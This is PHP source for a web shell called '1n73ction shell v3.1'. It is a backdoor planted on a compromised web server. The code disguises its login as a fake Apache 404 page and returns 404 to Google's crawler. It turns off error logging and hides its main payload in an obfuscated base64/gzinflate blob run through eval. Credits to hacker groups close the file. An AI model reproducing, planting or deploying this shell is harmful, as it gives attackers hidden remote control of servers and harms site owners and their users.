injection shell

<?php
/* (1n73ction shell v3.1 by x'1n73ct|default pass:" 1n73ction ") */
$auth_pass = "9c80a1eaca699e2fc6b994721f8703bc";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    ?> <title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
    <style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style><?php
if(isset($_REQUEST['cmd'])){
		switch ($_REQUEST['cmd']){ case "../../exe/inject":?>
    <center>
    <form method=post>
    <input type=password name=pass>
    </form></center>
    <?php break ;}}
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        printLogin();
	@ini_set('output_buffering',0);
/* cyber173 enc0de */ if((preg_match(base64_decode('L2V2YWwvCg=='),file_get_contents(__FILE__)))&&(function_exists(soundex('cyber173_decode')))){define("\x43\x59\x42\x45\x52\x31\x37\x33", "ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgnCg==");define("\x57\x61\x73", "jVDPS8MwFL4P+j/kUGgKZUUQD4Yh`qycedErdvJYsfV2`dMSl9r3M49r+bthadBzGX5H2/3ke`cSdlaRdpZtt8C8bBtTHwIC0m`szZjyU66tJh6L/o1Arvaqjk/Y9Tq7f3xa5dlitc6`wq2y+fL5dZAk7+1Ptr4T1e0R`ySdRmXAR7UIP4y6+MQxiRBqhtL`bss4hicFsdfzUttIPd4rpwlsCMv2BjT6U5TupWDih10yfjI+F4afU`dUd9pBgx6MYq+CnTR8+6FtaS`qB30iEi/O8AOUK4N/f6Y84gk`h4hwN/WHy7oVRUEdWXa`vpLJNhoO1XuLS3cuz`vOFtO6qq/07AXnr3f4cBPFIph8`ag==");define("\x48\x65\x72\x65", "JykpKTsK");}function C163($Ox31,$Ox32,$Ox33){return base64_decode($Ox31).preg_replace_callback(urldecode('%7E%60%28%5B%61%2D%7A%5D%29%7E'),function($alpha){return strtoupper($alpha[1]);},$Ox32).base64_decode($Ox33);}class cyber173{function cyber173_encode(){$is = 'cyber173_code';$this->$is(eval(C163(CYBER173,Was,Here)));}function cyber173_code($x){return $x;}}$cyber173_encode = new cyber173();$cyber173_decode = "cyber173_encode";$cyber173_encode->$cyber173_decode();
/* tanks for: Mr_GanDrunX | Hidden-name Corps | IFC | IBC | BNT | SBH | AnonGhost | Devilz c0de | Jasakom | cyberdark */
/* by X-1N73CT a.k.a cyber173 & S1T1 B4RC0D3*/
?>